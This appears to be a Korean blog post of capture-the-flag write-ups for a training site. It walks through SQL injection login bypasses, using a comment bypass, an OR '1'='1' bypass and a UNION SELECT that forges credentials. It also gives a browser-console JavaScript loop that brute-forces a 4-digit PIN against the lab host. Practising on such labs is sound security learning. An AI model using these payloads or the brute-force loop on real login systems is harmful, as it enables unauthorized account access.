문제

Login Bypass 3

50

normaltic3 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


시도한 SQL Injection CASE

CASE1 =  id: doldol' # pw=1234 => 로그인 실패

CASE2  = id: doldil' # pw=dol1234 => 로그인 성공

CASE3 = id: doldol' or '1'='1 pw=1234 => 로그인 실패

CASE3 = id: doldol' or '1'='1 pw= dol1234  => 로그인 실패

CASE4 = id='doldol' and '1'='1 pw= dol1234

 

위와 같은 케이스를 봐서 doldol의 데이터를 DB에서 찾은 뒤 입력받은 pw와 DB의 pw를 비교하는 듯 하다.

즉 이번 케이스는 ID, PW를 구분하여 비교하게 된다.

 

그렇다면 union select '원하는 아이디', '내가 입력할 비밀번호' # 을 하게된다면 내가 원하는 아이디로 로그인이 가능 할 것이다.

 

단 첫번째 데이터만 불러올 것이기 때문에 {없는 아이디}' union select '원하는 아이디', '내가 입력할 비밀번호' #

union 앞의 조건은 없는 아이디어야 한다.

 

 

이번의 케이스는 id pw로 되어있지만 만약 테이블의 컬럼이 많고 * 로 되어있었다면 모든 케이스별로 ID, PW의 위치를 찾아야 했을 것 같다.

문제

Login Bypass 2

50

normaltic2 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


주석을 사용한 SQL Injection이 바로 성공하였다.

id: normaltic2' # pw : 아무거나

 

문제

Login Bypass 1

50

normaltic1 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234



 

주석을 사용한 SQL Inection을 사용해보자

doldol' # 으로 요청을 보냈을 때 정상적으로 #이 전달 되었으나 로그인 실패가 되었다. 

 

다음은 or를 사용한 SQL Injection을 사용해보자 

normaltic1' or '1'='1 

로그인에 성공한 것을 보니 주석처리 혹은 특수문자에 대한 주석처리가 이루어진 듯하다.

 

문제

Pin Code Crack

50

아래 사이트의 PIN 번호를 크랙해보자!


 

4자리 + 실패에 대한 제한을 하는 처리가 없는 것을 보니 반복문으로 4자리를 모두 돌려보면 될 듯하다.

request를 확인해보자

otpNum=123 형식으로 전달하면 될 것같고 응답은

 

Login Fail이라는 문자열이 존재 한다.

 

반복문으로 4자리의 숫자를 보내고 응답 값에 "Login Fail"이라는 문자열이 존재하지않는 응답 값을 찾아보자

또한 문자열로 날아가느 것이 아니라 숫자로 넘어가는 것으로 보인다. 문자열이었다면 "123"으로 전송 될 것이다.

 

그러므로 0001과 같은 패딩은 필요하지 않아보인다.

 

크롬 브라우저의 콘솔에서 요청을 보내보자

url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="
let id
for(i=0; i<=9999 ; i++){
let otpNum = i


fetch(url + otpNum)
.then(function(response) {
    return response.text();
})
.then(function(string) {
	if (!string.includes("Login Fail")){
        id = otpNum
	}
});
}

 

스읍.... 여기서 fetch의 결과가로 error 로그가 많인 나오지만....

id를 출력해보니 값이 나온다

fetch의 사용법이 잘못 된 부분이 있나보다 일단 값을 얻었으니 사용해보자

 

 

빙고

 

+ Recent posts